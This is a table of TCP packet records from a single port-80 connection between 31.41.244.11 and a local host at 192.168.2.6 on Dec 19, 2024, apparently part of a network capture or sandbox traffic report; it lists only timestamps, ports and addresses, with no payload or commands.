Dec 19, 2024 16:10:43.228918076 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.228935003 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.229059935 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.229789972 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.229866028 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.229891062 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.230093956 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.230635881 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.230695963 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.230750084 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.230851889 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.231509924 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.231612921 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.231641054 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.231765985 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.232434034 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.232614040 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.232618093 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.232897997 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.233417988 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.233517885 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.233553886 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.233742952 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.234262943 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.234508038 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.234513998 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.234566927 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.235167027 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.235265970 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.235286951 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.235342979 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.236182928 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.236320019 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.236390114 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.236443043 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.236968040 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.237019062 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.237035990 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.237066984 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.237901926 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.237998962 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.238029957 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.238193035 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.238799095 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.238857031 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.238929987 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.238984108 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.239710093 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.239759922 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.239809036 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.239922047 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.240628004 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.240753889 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.240787983 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.240787983 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.241578102 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.241683960 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.241703033 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.241930008 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.242436886 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.242598057 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.242635965 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.242883921 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.243346930 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.243388891 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.243488073 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.243530989 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.244236946 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.244390011 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.244570017 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.244709015 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.245146036 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.245192051 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.245203018 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.245237112 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.246056080 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.246119976 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.246140957 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.246184111 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.247024059 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.247087955 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.247287989 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.247912884 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.247997999 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.248029947 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.248122931 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.248858929 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.248893976 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.248928070 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.248928070 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.249795914 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.249809027 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.249870062 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.250610113 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.250665903 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.250792027 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.250941038 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.251538992 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.251599073 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.251672983 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.251723051 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.252440929 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.252482891 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.252516031 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.252614021 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.253328085 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.253458977 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.253496885 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.253496885 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.254506111 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.254724979 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.254757881 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.254883051 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.255167007 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.255285978 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.255354881 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.256114960 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.256170988 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.256234884 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.256310940 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.257004976 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.257020950 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.257091045 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.257091999 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.257915974 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.258012056 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.258044958 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.258084059 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.258810997 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.258867979 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.258881092 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.259123087 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.259732008 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.259814978 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.259860992 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.260000944 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.260632992 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.260788918 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.260821104 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.260972023 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.261567116 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.261656046 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.261693001 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.262239933 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.262413025 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.262543917 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.262566090 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.262658119 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.263365030 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.263413906 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.263451099 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.263489008 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.264292002 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.264339924 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.264343023 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.264821053 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.388634920 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.388679028 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.388709068 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.388736963 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.388914108 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.389038086 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.389079094 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.389836073 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.389931917 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.389941931 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.390150070 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.390729904 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.391247988 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.412276030 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.412329912 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.412364006 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.412386894 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.412699938 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.412785053 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.412903070 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.412945986 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.413036108 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.413170099 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.413819075 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.413898945 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.413985968 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.414027929 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.414715052 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.414833069 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.414869070 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.414913893 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.415636063 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.415741920 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.415762901 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.415889025 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.416506052 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.416558027 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.416577101 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.416842937 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.417452097 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.417478085 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.417494059 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.417514086 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.418418884 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.418446064 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.418476105 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.418476105 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.419276953 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.419342041 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.419344902 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.419426918 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.420169115 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.420257092 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.420291901 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.420449018 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.421075106 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.421165943 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.421169996 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.421295881 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.422137976 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.422265053 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.422285080 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.422343969 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.422878027 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.422925949 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.422956944 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.423093081 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.423798084 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.423892021 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.423897028 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.424047947 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.424707890 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.424779892 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.424789906 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.425014973 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.425632954 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.425734043 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.425765991 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.425765991 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.426587105 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.426634073 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.426637888 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.426743984 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.427434921 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.427506924 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.427580118 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.428378105 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.428390026 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.428467035 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.428467035 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.429263115 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.429320097 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.429354906 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.429586887 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.430154085 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.430202007 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.430232048 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.430273056 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.431108952 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.431159019 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.431188107 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.431606054 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.432013988 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.432113886 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.432149887 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.432149887 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.432871103 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.432915926 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.432945013 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.433027029 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.433814049 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.433911085 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.433929920 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.434088945 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.434767008 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.434942961 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.434978008 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.435101032 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.435636997 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.435657024 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.435712099 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.435712099 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.436542034 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.436575890 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.436618090 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.436618090 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.437508106 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.437520027 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.437644958 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.438373089 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.438441992 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.438503981 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.438776016 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.439269066 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.439326048 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.439539909 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.439635038 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.440155029 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.440216064 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.440238953 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.440279961 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.441111088 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.441251993 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.441287041 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.441287041 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.441983938 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.442089081 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.442111015 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.442133904 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.442898035 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.443069935 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.443089008 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.443197012 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.443799019 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.443918943 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.443923950 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.444433928 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.444696903 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.444803953 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.444864988 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.445627928 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.445684910 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.445758104 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.445802927 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.446535110 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.446589947 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.446650028 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.446687937 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.447470903 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.447563887 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.447601080 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.447601080 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.448337078 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.448415995 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.448451996 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.448518038 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.449295998 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.449429989 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.449630022 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.449717999 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.450198889 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.450259924 CET	80	49931	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:43.450450897 CET	49931	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:43.451278925 CET	80	49931	31.41.244.11	192.168.2.6
